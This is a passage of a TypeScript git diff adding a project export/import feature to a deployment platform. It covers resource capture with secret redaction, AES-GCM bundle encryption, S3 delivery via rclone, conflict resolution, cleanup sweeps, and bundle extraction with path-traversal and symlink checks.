sourceEnabled }; + case "suffix": + return { host: `${host}${strategy.value}`, enabled: sourceEnabled }; + case "disable": + return { host, enabled: false }; + } +}; + +export const finalDomainHost = ( + host: string, + appNameMap: Record, + destinationIp: string | null, + strategy: DomainStrategy, + sourceEnabled = true, +): { host: string; enabled: boolean } => + applyDomainStrategy( + rewriteSslipIoIp(replaceAppNames(host, appNameMap), destinationIp), + strategy, + sourceEnabled, + ); diff --git a/packages/server/src/services/project-export-import/capture.ts b/packages/server/src/services/project-export-import/capture.ts new file mode 100644 index 000000000..c43e10e62 --- /dev/null +++ b/packages/server/src/services/project-export-import/capture.ts @@ -0,0 +1,436 @@ +import { randomUUID } from "node:crypto"; +import { + type EnvironmentRow, + loadProjectTree, + type ProjectTree, + type TransferDb, +} from "./queries"; +import { SECRET_FIELDS, stripNeverExport } from "./secret-fields"; +import { + filterEnvironments, + filterServices, + SERVICE_ID_FIELD, + SERVICE_TYPE_ENV_KEY, + SERVICE_TYPES, +} from "./service-kinds"; +import type { + CaptureSource, + ExportScope, + Inventory, + Requirement, + ResourceKind, + ServiceType, + Snapshot, + Warning, +} from "./types"; +import { SECRET_REDACTED, SECRET_REF_PREFIX } from "./types"; +import { exportedImageOf } from "./warnings"; + +export class CaptureNotFoundError extends Error {} + +export type CaptureOptions = { + detectRequirements: ( + tree: ProjectTree, + scope: ExportScope, + ) => Requirement[] | Promise; + detectWarnings: ( + tree: ProjectTree, + scope: ExportScope, + ) => Warning[] | Promise; +}; + +export type CaptureResult = { + resources: Snapshot["resources"]; + inventory: Inventory; + requirements: Requirement[]; + warnings: Warning[]; + secretsPlain: Map; + tree: ProjectTree; +}; + +type ChildDef = { key: string; kind: ResourceKind }; + +const DB_SERVICE_CHILDREN: ChildDef[] = [ + { key: "mounts", kind: "mount" }, + { key: "backups", kind: "backup" }, + { key: "volumeBackups", kind: "volumeBackup" }, +]; + +const CHILD_KINDS: Partial> = { + application: [ + { key: "domains", kind: "domain" }, + { key: "mounts", kind: "mount" }, + { key: "redirects", kind: "redirect" }, + { key: "security", kind: "security" }, + { key: "ports", kind: "port" }, + { key: "schedules", kind: "schedule" }, + { key: "volumeBackups", kind: "volumeBackup" }, + ], + compose: [ + { key: "domains", kind: "domain" }, + { key: "mounts", kind: "mount" }, + { key: "backups", kind: "backup" }, + { key: "schedules", kind: "schedule" }, + { key: "volumeBackups", kind: "volumeBackup" }, + ], + postgres: DB_SERVICE_CHILDREN, + mysql: DB_SERVICE_CHILDREN, + mariadb: DB_SERVICE_CHILDREN, + mongo: DB_SERVICE_CHILDREN, + libsql: DB_SERVICE_CHILDREN, + redis: [ + { key: "mounts", kind: "mount" }, + { key: "volumeBackups", kind: "volumeBackup" }, + ], +}; + +const SHARED_BY_VALUE_TABLE: Partial< + Record< + Requirement["kind"], + { + query: + | "destinations" + | "registry" + | "sshKeys" + | "network" + | "certificates" + | "vaultProvider"; + idField: string; + resourceKind: ResourceKind; + } + > +> = { + destination: { + query: "destinations", + idField: "destinationId", + resourceKind: "destination", + }, + registry: { + query: "registry", + idField: "registryId", + resourceKind: "registry", + }, + sshKey: { query: "sshKeys", idField: "sshKeyId", resourceKind: "sshKey" }, + network: { query: "network", idField: "networkId", resourceKind: "network" }, + certificate: { + query: "certificates", + idField: "certificateId", + resourceKind: "certificate", + }, + vault: { + query: "vaultProvider", + idField: "vaultProviderId", + resourceKind: "vaultProvider", + }, +}; + +const effectiveScope = (scope: ExportScope): ExportScope => + scope.includeEnvSecrets + ? scope + : { + ...scope, + shared: { + ...scope.shared, + vaultProvider: "reference", + dnsProvider: "reference", + }, + }; + +export const capture = async ( + db: TransferDb, + source: CaptureSource, + requestedScope: ExportScope, + opts: CaptureOptions, +): Promise => { + const scope = effectiveScope(requestedScope); + const tree = await loadProjectTree(db, source); + if (!tree) { + throw new CaptureNotFoundError("Project or environment not found"); + } + + const secretsPlain = new Map(); + const keptEnvironments = filterEnvironments(tree, scope); + + const resourceEnvironments = keptEnvironments.map((env) => + sanitizeRow("environment", withoutServiceArrays(env), scope, secretsPlain), + ); + + const resourceServices = keptEnvironments.flatMap((env) => + SERVICE_TYPES.flatMap((serviceType) => + filterServices( + env[SERVICE_TYPE_ENV_KEY[serviceType]] as Record[], + serviceType, + scope, + ).map((service) => + buildServiceResource(serviceType, service, scope, secretsPlain), + ), + ), + ); + + const projectResource = sanitizeRow( + "project", + withoutRelationArrays(tree), + scope, + secretsPlain, + ); + + const [requirements, warnings] = await Promise.all([ + Promise.resolve(opts.detectRequirements(tree, scope)), + Promise.resolve(opts.detectWarnings(tree, scope)), + ]); + + const shared = await loadSharedByValue( + db, + tree.organizationId, + requirements, + scope, + secretsPlain, + ); + + const inventory = buildInventory(tree, keptEnvironments, scope); + + return { + resources: { + project: projectResource, + environments: resourceEnvironments, + services: resourceServices, + shared, + }, + inventory, + requirements, + warnings, + secretsPlain, + tree, + }; +}; + +const generateSecretId = () => randomUUID(); + +const redactOrCapture = ( + value: string, + scope: ExportScope, + secretsPlain: Map, +): string => { + if (!scope.includeEnvSecrets) { + return SECRET_REDACTED; + } + const id = generateSecretId(); + secretsPlain.set(id, value); + return `${SECRET_REF_PREFIX}${id}`; +}; + +const redactEnvFile = ( + envFile: string, + scope: ExportScope, + secretsPlain: Map, +): string => + envFile + .split("\n") + .map((line) => { + const eqIndex = line.indexOf("="); + if (eqIndex === -1) { + return line; + } + const key = line.slice(0, eqIndex); + const value = line.slice(eqIndex + 1); + if (value.length === 0) { + return line; + } + return `${key}=${redactOrCapture(value, scope, secretsPlain)}`; + }) + .join("\n"); + +const sanitizeRow = ( + kind: ResourceKind, + row: Record, + scope: ExportScope, + secretsPlain: Map, +): Record => { + const stripped = stripNeverExport(kind, row); + const entries = SECRET_FIELDS[kind]; + if (!entries) { + return stripped; + } + + const result: Record = { ...stripped }; + for (const entry of entries) { + if (entry.when && !entry.when(row)) { + continue; + } + const value = result[entry.field]; + if (value === null || value === undefined || value === "") { + continue; + } + if (entry.kind === "envFile") { + if (typeof value === "string") { + result[entry.field] = redactEnvFile(value, scope, secretsPlain); + } + continue; + } + const plainText = typeof value === "string" ? value : JSON.stringify(value); + result[entry.field] = redactOrCapture(plainText, scope, secretsPlain); + } + return result; +}; + +const buildServiceResource = ( + serviceType: ServiceType, + service: Record, + scope: ExportScope, + secretsPlain: Map, +): Record => { + const childDefs = CHILD_KINDS[serviceType] ?? []; + const sanitizedChildren: Record = {}; + const ownFields = { ...service }; + + for (const { key, kind } of childDefs) { + if (kind === "backup" && !scope.includeBackupSchedules) { + sanitizedChildren[key] = []; + delete ownFields[key]; + continue; + } + const children = (ownFields[key] as Record[]) ?? []; + sanitizedChildren[key] = children.map((child) => + sanitizeRow(kind, child, scope, secretsPlain), + ); + delete ownFields[key]; + } + + const sanitizedOwn = sanitizeRow(serviceType, ownFields, scope, secretsPlain); + + return { kind: serviceType, ...sanitizedOwn, ...sanitizedChildren }; +}; + +const withoutServiceArrays = (env: EnvironmentRow): Record => { + const { + applications: _applications, + compose: _compose, + postgres: _postgres, + mysql: _mysql, + mariadb: _mariadb, + mongo: _mongo, + redis: _redis, + libsql: _libsql, + ...rest + } = env; + return rest; +}; + +const withoutRelationArrays = (tree: ProjectTree): Record => { + const { environments: _environments, projectTags, ...rest } = tree; + return { + ...rest, + tags: (projectTags ?? []).map(({ tag }) => ({ + name: tag.name, + color: tag.color, + })), + }; +}; + +const loadSharedByValue = async ( + db: TransferDb, + organizationId: string, + requirements: Requirement[], + scope: ExportScope, + secretsPlain: Map, +): Promise[]>> => { + const shared: Record[]> = {}; + + for (const requirement of requirements) { + if (!requirement.configIncluded || !requirement.originalId) { + continue; + } + const table = SHARED_BY_VALUE_TABLE[requirement.kind]; + if (!table) { + continue; + } + const row = await ( + db.query[table.query] as { + findFirst: ( + args: unknown, + ) => Promise | undefined>; + } + ).findFirst({ + where: ( + fields: Record, + { eq }: { eq: (a: unknown, b: unknown) => unknown }, + ) => eq(fields[table.idField], requirement.originalId), + }); + if (!row) { + continue; + } + shared[requirement.kind] ??= []; + shared[requirement.kind]?.push( + sanitizeRow(table.resourceKind, row, scope, secretsPlain), + ); + } + + if (scope.shared.dnsProvider === "value") { + const rows = await db.query.dnsProvider.findMany({ + where: (fields, { eq }) => eq(fields.organizationId, organizationId), + }); + shared.dnsProvider = rows.map((row) => + sanitizeRow( + "dnsProvider", + row as Record, + scope, + secretsPlain, + ), + ); + } + + return shared; +}; + +const buildInventory = ( + tree: ProjectTree, + keptEnvironments: EnvironmentRow[], + scope: ExportScope, +): Inventory => { + const totals: Partial> = {}; + const bump = (kind: ResourceKind, by = 1) => { + totals[kind] = (totals[kind] ?? 0) + by; + }; + + const images: Inventory["images"] = []; + const environments = keptEnvironments.map((env) => { + const services: Partial> = {}; + for (const serviceType of SERVICE_TYPES) { + const rows = filterServices( + env[SERVICE_TYPE_ENV_KEY[serviceType]] as Record[], + serviceType, + scope, + ); + services[serviceType] = rows.length; + bump(serviceType, rows.length); + for (const row of rows) { + const image = exportedImageOf(serviceType, row); + if (!image) continue; + images.push({ + serviceId: row[SERVICE_ID_FIELD[serviceType]] as string, + serviceType, + name: (row.name as string | undefined) ?? (row.appName as string), + image, + }); + } + for (const { key, kind } of CHILD_KINDS[serviceType] ?? []) { + if (kind === "backup" && !scope.includeBackupSchedules) continue; + const childCount = rows.reduce( + (sum, row) => sum + ((row[key] as unknown[]) ?? []).length, + 0, + ); + bump(kind, childCount); + } + } + return { id: env.environmentId, name: env.name, services }; + }); + + return { + project: { name: tree.name, environments: keptEnvironments.length }, + environments, + totals, + estimatedDumpBytes: 0, + estimatedFilesBytes: 0, + images, + }; +}; diff --git a/packages/server/src/services/project-export-import/cleanup.ts b/packages/server/src/services/project-export-import/cleanup.ts new file mode 100644 index 000000000..3dd8da5f1 --- /dev/null +++ b/packages/server/src/services/project-export-import/cleanup.ts @@ -0,0 +1,114 @@ +import { readdir, rm, stat } from "node:fs/promises"; +import { basename, join } from "node:path"; +import { paths } from "@dokploy/server/constants"; +import { db } from "@dokploy/server/db"; +import { server } from "@dokploy/server/db/schema"; +import { eq } from "drizzle-orm"; +import { cleanupExpiredExports } from "./export-job"; +import { cleanupExpiredImports } from "./import-job"; +import { getExportJob, getImportJob } from "./jobs"; +import { escapeShellArg, remove, run } from "./remote-fs"; +import { BUNDLE_EXTENSION } from "./types"; + +const SWEEP_INTERVAL_MS = 15 * 60 * 1000; +const ORPHAN_AGE_MS = 60 * 60 * 1000; + +const hasLiveJob = (entry: string): boolean => { + const id = entry.endsWith(BUNDLE_EXTENSION) + ? entry.slice(0, -BUNDLE_EXTENSION.length) + : entry; + return !!(getExportJob(id) || getImportJob(id)); +}; + +export const sweepOrphanedTransferDirectories = async ( + pathsFn: typeof paths = paths, + now: number = Date.now(), +): Promise => { + const { PROJECT_EXPORT_IMPORT_PATH } = pathsFn(); + let entries: string[]; + try { + entries = await readdir(PROJECT_EXPORT_IMPORT_PATH); + } catch { + return; + } + for (const entry of entries) { + if (hasLiveJob(entry)) continue; + const entryPath = join(PROJECT_EXPORT_IMPORT_PATH, entry); + try { + const { mtimeMs } = await stat(entryPath); + if (now - mtimeMs < ORPHAN_AGE_MS) continue; + } catch { + continue; + } + await rm(entryPath, { recursive: true, force: true }).catch((error) => { + console.error( + `Failed to remove orphaned export/import directory ${entry}:`, + error, + ); + }); + } +}; + +export const sweepRemoteTransferDirectories = async ( + serverIds: string[], + bootedAt: number, + pathsFn: typeof paths = paths, +): Promise => { + const root = pathsFn(true).PROJECT_EXPORT_IMPORT_PATH; + const bootEpoch = Math.floor(bootedAt / 1000); + for (const serverId of serverIds) { + try { + // Uploads only register their job once they finish, so anything touched + // after boot may still be in flight. + const { stdout } = await run( + serverId, + `find ${escapeShellArg(root)} -mindepth 1 -maxdepth 1 ! -newermt @${bootEpoch} 2>/dev/null || true`, + ); + for (const entryPath of stdout.split("\n").filter(Boolean)) { + const entry = basename(entryPath); + if (hasLiveJob(entry)) continue; + await remove({ serverId, path: join(root, entry) }); + } + } catch (error) { + console.error( + `Failed to sweep export/import directories on server ${serverId}:`, + error, + ); + } + } +}; + +// Job state is in memory, so after a restart nothing else knows about the +// workspaces left on remote servers; one pass at boot is enough. +const sweepRemoteServersOnBoot = async (bootedAt: number): Promise => { + const servers = await db.query.server.findMany({ + where: eq(server.serverStatus, "active"), + columns: { serverId: true }, + }); + await sweepRemoteTransferDirectories( + servers.map((s) => s.serverId), + bootedAt, + ); +}; + +export const initProjectExportImportCleanup = (): void => { + const sweep = () => { + cleanupExpiredExports().catch((error) => { + console.error("Failed to clean up expired export jobs:", error); + }); + cleanupExpiredImports().catch((error) => { + console.error("Failed to clean up expired import jobs:", error); + }); + sweepOrphanedTransferDirectories().catch((error) => { + console.error( + "Failed to sweep orphaned export/import directories:", + error, + ); + }); + }; + sweep(); + setInterval(sweep, SWEEP_INTERVAL_MS).unref(); + sweepRemoteServersOnBoot(Date.now()).catch((error) => { + console.error("Failed to sweep remote export/import directories:", error); + }); +}; diff --git a/packages/server/src/services/project-export-import/conflicts.ts b/packages/server/src/services/project-export-import/conflicts.ts new file mode 100644 index 000000000..2ab7b0618 --- /dev/null +++ b/packages/server/src/services/project-export-import/conflicts.ts @@ -0,0 +1,76 @@ +import type { + Conflict, + ConflictKind, + ConflictOption, + ConflictResolution, + Target, +} from "./types"; +import { conflictKey } from "./types"; + +export const CONFLICT_OPTIONS: Record = { + domain: ["rename", "skip"], + port: ["rename", "skip", "keep"], + projectName: ["rename"], + network: ["keep", "rename", "skip"], +}; + +const suggestedProjectName = (name: string) => `${name} (imported)`; + +const defaultConflictResolution = (conflict: Conflict): ConflictResolution => { + switch (conflict.kind) { + case "domain": + case "port": + return { action: "skip" }; + case "projectName": + return { + action: "rename", + value: suggestedProjectName(conflict.value), + }; + case "network": + return { action: "keep" }; + } +}; + +const isValidRenameValue = (kind: ConflictKind, value: string | undefined) => { + if (!value || value.trim().length === 0) return false; + if (kind !== "port") return true; + const port = Number(value.trim()); + return Number.isInteger(port) && port >= 1 && port <= 65535; +}; + +export const resolveConflicts = ( + conflicts: Conflict[], + choices: Record | undefined, +): Record => { + const resolved: Record = {}; + for (const conflict of conflicts) { + const key = conflictKey(conflict); + const choice = choices?.[key]; + const valid = + choice && + conflict.options.includes(choice.action) && + (choice.action !== "rename" || + isValidRenameValue(conflict.kind, choice.value)); + resolved[key] = valid ? choice : defaultConflictResolution(conflict); + } + return resolved; +}; + +export const conflictResolutionsOf = (plan: { + conflicts: Conflict[]; + conflictResolutions?: Record; + target: Target; +}): Record => + plan.conflictResolutions ?? resolveConflicts(plan.conflicts, undefined); + +export const resolvedProjectName = ( + target: Target, + resolutions: Record, +): string | undefined => { + if (target.kind !== "newProject") return undefined; + const resolution = + resolutions[conflictKey({ kind: "projectName", value: target.name })]; + return resolution?.action === "rename" && resolution.value + ? resolution.value.trim() + : target.name; +}; diff --git a/packages/server/src/services/project-export-import/crypto.ts b/packages/server/src/services/project-export-import/crypto.ts new file mode 100644 index 000000000..a7a99b729 --- /dev/null +++ b/packages/server/src/services/project-export-import/crypto.ts @@ -0,0 +1,189 @@ +import { + createCipheriv, + createDecipheriv, + type DecipherGCM, + randomBytes, + scrypt, +} from "node:crypto"; +import { Transform } from "node:stream"; +import { KDF_PARAMS } from "./types"; + +const deriveScryptKey = ( + passphrase: string, + salt: Buffer, + keylen: number, +): Promise => + new Promise((resolve, reject) => { + scrypt( + passphrase, + salt, + keylen, + { + N: KDF_PARAMS.N, + r: KDF_PARAMS.r, + p: KDF_PARAMS.p, + maxmem: 64 * 1024 * 1024, + }, + (err, derivedKey) => { + if (err) { + reject(err); + return; + } + resolve(derivedKey); + }, + ); + }); + +export class TransferCryptoError extends Error { + constructor( + message = "Failed to decrypt: wrong passphrase or corrupted bundle", + ) { + super(message); + this.name = "TransferCryptoError"; + } +} + +const IV_LENGTH = 12; +const KEY_LENGTH = KDF_PARAMS.dkLen / 2; +const KEY_CHECK_ID = "keyCheck"; +const KEY_CHECK_PLAINTEXT = "dokploy-export-v1"; + +export type DerivedKeys = { salt: string; kEnc: Buffer }; +export type EncryptedEntry = { iv: string; ct: string; tag: string }; + +export const assertPassphrase = (passphrase: string) => { + if (passphrase.length < 12) { + throw new Error("Passphrase must be at least 12 characters long"); + } +}; + +export const deriveKeys = async ( + passphrase: string, + saltInput?: string, +): Promise => { + assertPassphrase(passphrase); + const salt = saltInput ? Buffer.from(saltInput, "base64") : randomBytes(16); + const derived = await deriveScryptKey(passphrase, salt, KDF_PARAMS.dkLen); + return { + salt: salt.toString("base64"), + kEnc: derived.subarray(0, KEY_LENGTH), + }; +}; + +export const encryptField = ( + kEnc: Buffer, + id: string, + plaintext: string, +): EncryptedEntry => { + const iv = randomBytes(IV_LENGTH); + const cipher = createCipheriv("aes-256-gcm", kEnc, iv); + cipher.setAAD(Buffer.from(id, "utf8")); + const ct = Buffer.concat([cipher.update(plaintext, "utf8"), cipher.final()]); + return { + iv: iv.toString("base64"), + ct: ct.toString("base64"), + tag: cipher.getAuthTag().toString("base64"), + }; +}; + +export const decryptField = ( + kEnc: Buffer, + id: string, + entry: EncryptedEntry, +): string => { + try { + const decipher = createDecipheriv( + "aes-256-gcm", + kEnc, + Buffer.from(entry.iv, "base64"), + ); + decipher.setAAD(Buffer.from(id, "utf8")); + decipher.setAuthTag(Buffer.from(entry.tag, "base64")); + return Buffer.concat([ + decipher.update(Buffer.from(entry.ct, "base64")), + decipher.final(), + ]).toString("utf8"); + } catch { + throw new TransferCryptoError(); + } +}; + +export const makeKeyCheck = (kEnc: Buffer): string => + JSON.stringify(encryptField(kEnc, KEY_CHECK_ID, KEY_CHECK_PLAINTEXT)); + +export const verifyKeyCheck = (kEnc: Buffer, keyCheck: string): boolean => { + try { + const entry = JSON.parse(keyCheck) as EncryptedEntry; + return decryptField(kEnc, KEY_CHECK_ID, entry) === KEY_CHECK_PLAINTEXT; + } catch { + return false; + } +}; + +const FILE_TAG_LENGTH = 16; + +export const gcmEncryptStream = (kEnc: Buffer): Transform => { + const iv = randomBytes(IV_LENGTH); + const cipher = createCipheriv("aes-256-gcm", kEnc, iv); + let started = false; + return new Transform({ + transform(chunk: Buffer, _encoding, callback) { + if (!started) { + started = true; + this.push(iv); + } + callback(null, cipher.update(chunk)); + }, + flush(callback) { + if (!started) this.push(iv); + this.push(cipher.final()); + this.push(cipher.getAuthTag()); + callback(); + }, + }); +}; + +export const gcmDecryptStream = (kEnc: Buffer): Transform => { + let head = Buffer.alloc(0); + let decipher: DecipherGCM | undefined; + let tail = Buffer.alloc(0); + return new Transform({ + transform(chunk: Buffer, _encoding, callback) { + let data = chunk; + if (!decipher) { + head = Buffer.concat([head, data]); + if (head.length < IV_LENGTH) return callback(); + decipher = createDecipheriv( + "aes-256-gcm", + kEnc, + head.subarray(0, IV_LENGTH), + ) as DecipherGCM; + data = head.subarray(IV_LENGTH); + } + const combined = Buffer.concat([tail, data]); + if (combined.length <= FILE_TAG_LENGTH) { + tail = combined; + return callback(); + } + tail = combined.subarray(combined.length - FILE_TAG_LENGTH); + callback( + null, + decipher.update( + combined.subarray(0, combined.length - FILE_TAG_LENGTH), + ), + ); + }, + flush(callback) { + if (!decipher || tail.length < FILE_TAG_LENGTH) { + return callback(new TransferCryptoError()); + } + try { + decipher.setAuthTag(tail); + this.push(decipher.final()); + callback(); + } catch { + callback(new TransferCryptoError()); + } + }, + }); +}; diff --git a/packages/server/src/services/project-export-import/delivery.ts b/packages/server/src/services/project-export-import/delivery.ts new file mode 100644 index 000000000..476c7e7c3 --- /dev/null +++ b/packages/server/src/services/project-export-import/delivery.ts @@ -0,0 +1,128 @@ +import type { Destination } from "@dokploy/server/services/destination"; +import { getS3Credentials } from "@dokploy/server/utils/backups/utils"; +import { execAsync } from "@dokploy/server/utils/process/execAsync"; +import { openProcessStream } from "@dokploy/server/utils/process/remoteStream"; +import { quote } from "shell-quote"; +import slug from "slugify"; +import { deriveKeys, verifyKeyCheck } from "./crypto"; +import { type Location, run } from "./remote-fs"; +import { BUNDLE_EXTENSION, type Manifest, manifestSchema } from "./types"; + +export const EXPORTS_DIRECTORY = "dokploy-export-import"; + +const MANIFEST_PROBE_BYTES = 4 * 1024 * 1024; +const RCLONE_FLAGS = "--contimeout 30s --retries 1 --low-level-retries 3"; + +export const slugifyProjectName = (name: string): string => + slug(name, { lower: true, trim: true, strict: true }) || "project"; + +export const buildBundleObjectKey = ( + projectSlug: string, + exportedAt: string, +): string => + `${EXPORTS_DIRECTORY}/${projectSlug}-${exportedAt.replace(/[:.]/g, "-")}${BUNDLE_EXTENSION}`; + +const objectPath = (destination: Destination, key: string) => + `:s3:${destination.bucket}/${key}`; + +export const uploadBundleToDestination = async ( + destination: Destination, + bundle: Location, + key: string, +): Promise => { + const flags = getS3Credentials(destination); + await run( + bundle.serverId, + `rclone copyto ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([bundle.path])} ${quote([objectPath(destination, key)])}`, + ); +}; + +export const downloadBundleFromDestination = async ( + destination: Destination, + key: string, + bundle: Location, +): Promise => { + const flags = getS3Credentials(destination); + await run( + bundle.serverId, + `rclone copyto ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])} ${quote([bundle.path])}`, + ); +}; + +export const deleteBundleFromDestination = async ( + destination: Destination, + key: string, +): Promise => { + const flags = getS3Credentials(destination); + await execAsync( + `rclone deletefile ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])}`, + ); +}; + +export const streamBundleFromDestination = ( + destination: Destination, + key: string, +) => { + const flags = getS3Credentials(destination); + return openProcessStream( + null, + `rclone cat ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])}`, + ); +}; + +export type RemoteBundleInfo = { key: string; size: number; modTime: string }; + +export const listBundles = async ( + destination: Destination, +): Promise => { + const flags = getS3Credentials(destination); + const { stdout } = await execAsync( + `rclone lsjson ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, EXPORTS_DIRECTORY)])}`, + ).catch((error: { stderr?: string }) => { + if (error.stderr?.includes("directory not found")) return { stdout: "[]" }; + throw error; + }); + const entries = JSON.parse(stdout) as Array<{ + Path: string; + Size: number; + ModTime: string; + IsDir: boolean; + }>; + return entries + .filter((entry) => !entry.IsDir && entry.Path.endsWith(BUNDLE_EXTENSION)) + .map((entry) => ({ + key: `${EXPORTS_DIRECTORY}/${entry.Path}`, + size: entry.Size, + modTime: entry.ModTime, + })) + .sort((a, b) => b.modTime.localeCompare(a.modTime)); +}; + +const readRemoteManifest = async ( + destination: Destination, + key: string, +): Promise => { + const flags = getS3Credentials(destination); + const { stdout } = await execAsync( + `rclone cat ${RCLONE_FLAGS} ${flags.join(" ")} --count ${MANIFEST_PROBE_BYTES} ${quote([objectPath(destination, key)])} | tar -xzOf - manifest.json 2>/dev/null || true`, + { shell: "/bin/bash" }, + ); + if (!stdout.trim()) return undefined; + const parsed = manifestSchema.safeParse(JSON.parse(stdout)); + return parsed.success ? parsed.data : undefined; +}; + +export const verifyBundlePassphrase = async ( + destination: Destination, + key: string, + passphrase: string, +): Promise<{ checked: boolean; valid: boolean; exportedAt?: string }> => { + const manifest = await readRemoteManifest(destination, key); + if (!manifest) return { checked: false, valid: false }; + const { kEnc } = await deriveKeys(passphrase, manifest.crypto.salt); + return { + checked: true, + valid: verifyKeyCheck(kEnc, manifest.crypto.keyCheck), + exportedAt: manifest.exportedAt, + }; +}; diff --git a/packages/server/src/services/project-export-import/deserialize.ts b/packages/server/src/services/project-export-import/deserialize.ts new file mode 100644 index 000000000..af70af830 --- /dev/null +++ b/packages/server/src/services/project-export-import/deserialize.ts @@ -0,0 +1,209 @@ +import { + deriveKeys, + gcmDecryptStream, + TransferCryptoError, + verifyKeyCheck, +} from "./crypto"; +import { migrateManifest } from "./migrations"; +import { + at, + escapeShellArg, + fileSize, + type Location, + pipeThrough, + readFile, + remove, + run, +} from "./remote-fs"; +import { PAYLOAD_FILE } from "./serialize"; +import type { + Inventory, + Manifest, + Requirement, + Snapshot, + Warning, +} from "./types"; +import { manifestSchema, snapshotSchema } from "./types"; + +const DEFAULT_MAX_DECOMPRESSED_BYTES = 20 * 1024 * 1024 * 1024; + +export const isUnsafeBundlePath = (value: string): boolean => + value.startsWith("/") || value.split("/").includes(".."); + +export const assertSafeBundlePath = (value: string, label: string): void => { + if (isUnsafeBundlePath(value)) { + throw new Error(`Unsafe path in bundle: "${label}"`); + } +}; + +const assertSafeTarEntries = async (archive: Location) => { + const { stdout } = await run( + archive.serverId, + `tar -tzf ${escapeShellArg(archive.path)} | grep -E '^/|(^|/)\\.\\.(/|$)' | head -n 1; true`, + ); + const unsafe = stdout.trim(); + if (unsafe) { + throw new Error(`Unsafe path in bundle: "${unsafe}"`); + } +}; + +const assertNoUnsafeSymlinks = async (dir: Location): Promise => { + const { stdout } = await run( + dir.serverId, + `cd ${escapeShellArg(dir.path)} && find . -type l -exec sh -c 'printf "%s\\0%s\\0" "$1" "$(readlink "$1")"' _ {} \\;`, + ); + const parts = stdout.split("\0"); + for (let i = 0; i + 1 < parts.length; i += 2) { + const link = parts[i] ?? ""; + const target = parts[i + 1] ?? ""; + const resolved = target.startsWith("/") + ? ["..", target] + : [...link.split("/").slice(0, -1), ...target.split("/")]; + let depth = 0; + for (const part of resolved) { + if (part === "..") depth -= 1; + else if (part && part !== ".") depth += 1; + if (depth < 0) { + throw new Error(`Unsafe symlink in bundle: "${link}" -> "${target}"`); + } + } + } +}; + +const extractedBytes = async (dir: Location): Promise => { + const { stdout } = await run( + dir.serverId, + `du -sk ${escapeShellArg(dir.path)} | cut -f1`, + ); + return (Number.parseInt(stdout.trim(), 10) || 0) * 1024; +}; + +// gzip -l wraps at 4GiB, so count the real stream without writing it to disk. +const decompressedSize = async (archive: Location): Promise => { + const { stdout } = await run( + archive.serverId, + `gzip -dc ${escapeShellArg(archive.path)} | wc -c`, + ); + return Number.parseInt(stdout.trim(), 10) || 0; +}; + +const extractInto = async ( + archive: Location, + dir: Location, + maxBytes: number, +) => { + await assertSafeTarEntries(archive); + const size = await fileSize(archive); + if (size > maxBytes) { + throw new Error( + `Bundle size (${size} bytes) exceeds the limit (${maxBytes} bytes)`, + ); + } + const decompressed = await decompressedSize(archive); + if (decompressed > maxBytes) { + throw new Error( + `Bundle decompressed size (${decompressed} bytes) exceeds the limit (${maxBytes} bytes)`, + ); + } + await run( + dir.serverId, + `mkdir -p ${escapeShellArg(dir.path)} && tar -xzf ${escapeShellArg(archive.path)} -C ${escapeShellArg(dir.path)}`, + ); + try { + await assertNoUnsafeSymlinks(dir); + const extracted = await extractedBytes(dir); + if (extracted > maxBytes) { + throw new Error( + `Bundle decompressed size (${extracted} bytes) exceeds the limit (${maxBytes} bytes)`, + ); + } + } catch (error) { + await remove(dir); + throw error; + } +}; + +const readJson = async (workDir: Location, name: string): Promise => + JSON.parse((await readFile(at(workDir, name))).toString("utf8")); + +const readManifest = async (workDir: Location): Promise => + migrateManifest( + manifestSchema.parse(await readJson(workDir, "manifest.json")), + ); + +export type InspectBundleOptions = { maxDecompressedBytes?: number }; + +export type InspectBundleResult = { + manifest: Manifest; + inventory: Inventory; + requirements: Requirement[]; + warnings: Warning[]; +}; + +export const inspectBundle = async ( + bundle: Location, + workDir: Location, + opts: InspectBundleOptions = {}, +): Promise => { + const maxBytes = opts.maxDecompressedBytes ?? DEFAULT_MAX_DECOMPRESSED_BYTES; + await extractInto(bundle, workDir, maxBytes); + return { + manifest: await readManifest(workDir), + inventory: await readJson(workDir, "inventory.json"), + requirements: await readJson(workDir, "requirements.json"), + warnings: await readJson(workDir, "warnings.json"), + }; +}; + +export type UnlockBundleResult = { + snapshot: Snapshot; + secretsPlain: Map; +}; + +export const unlockBundle = async ( + workDir: Location, + passphrase: string, + opts: InspectBundleOptions = {}, +): Promise => { + const maxBytes = opts.maxDecompressedBytes ?? DEFAULT_MAX_DECOMPRESSED_BYTES; + const manifest = await readManifest(workDir); + const { kEnc } = await deriveKeys(passphrase, manifest.crypto.salt); + if (!verifyKeyCheck(kEnc, manifest.crypto.keyCheck)) { + throw new TransferCryptoError("Incorrect passphrase"); + } + + const payload = at(workDir, "payload.tar.gz"); + try { + await pipeThrough( + at(workDir, PAYLOAD_FILE), + gcmDecryptStream(kEnc), + payload, + ); + await extractInto(payload, workDir, maxBytes); + } finally { + await remove(payload).catch(() => {}); + await remove(at(workDir, PAYLOAD_FILE)).catch(() => {}); + } + + const secretsPlain = new Map( + Object.entries( + await readJson>(workDir, "secrets.json"), + ), + ); + await remove(at(workDir, "secrets.json")); + + const snapshot = snapshotSchema.parse({ + manifest, + resources: { + project: await readJson(workDir, "resources/project.json"), + environments: await readJson(workDir, "resources/environments.json"), + services: await readJson(workDir, "resources/services.json"), + shared: await readJson(workDir, "resources/shared.json"), + }, + requirements: await readJson(workDir, "requirements.json"), + warnings: await readJson(workDir, "warnings.json"), + dumps: await readJson(workDir, "dumps.json"), + }); + + return { snapshot, secretsPlain }; +}; diff --git a/packages/server/src/services/project-export-import/dumps.ts b/packages/server/src/services/project-export-import/dumps.ts new file mode 100644 index 000000000..9c513048d --- /dev/null +++ b/packages/server/src/services/project-export-import/dumps.ts @@ -0,0 +1,361 @@ +import type { BackupSchedule } from "@dokploy/server/services/backup"; +import { + generateBackupCommand, + getComposeContainerCommand, + getLibsqlBackupCommand, + getMariadbBackupCommand, + getMysqlBackupCommand, + getPostgresBackupCommand, + getServiceContainerCommand, +} from "@dokploy/server/utils/backups/utils"; +import { quote } from "shell-quote"; +import type { ProjectTree, TransferDb } from "./queries"; +import { + at, + fileSize, + type Location, + mkdirp, + remove, + 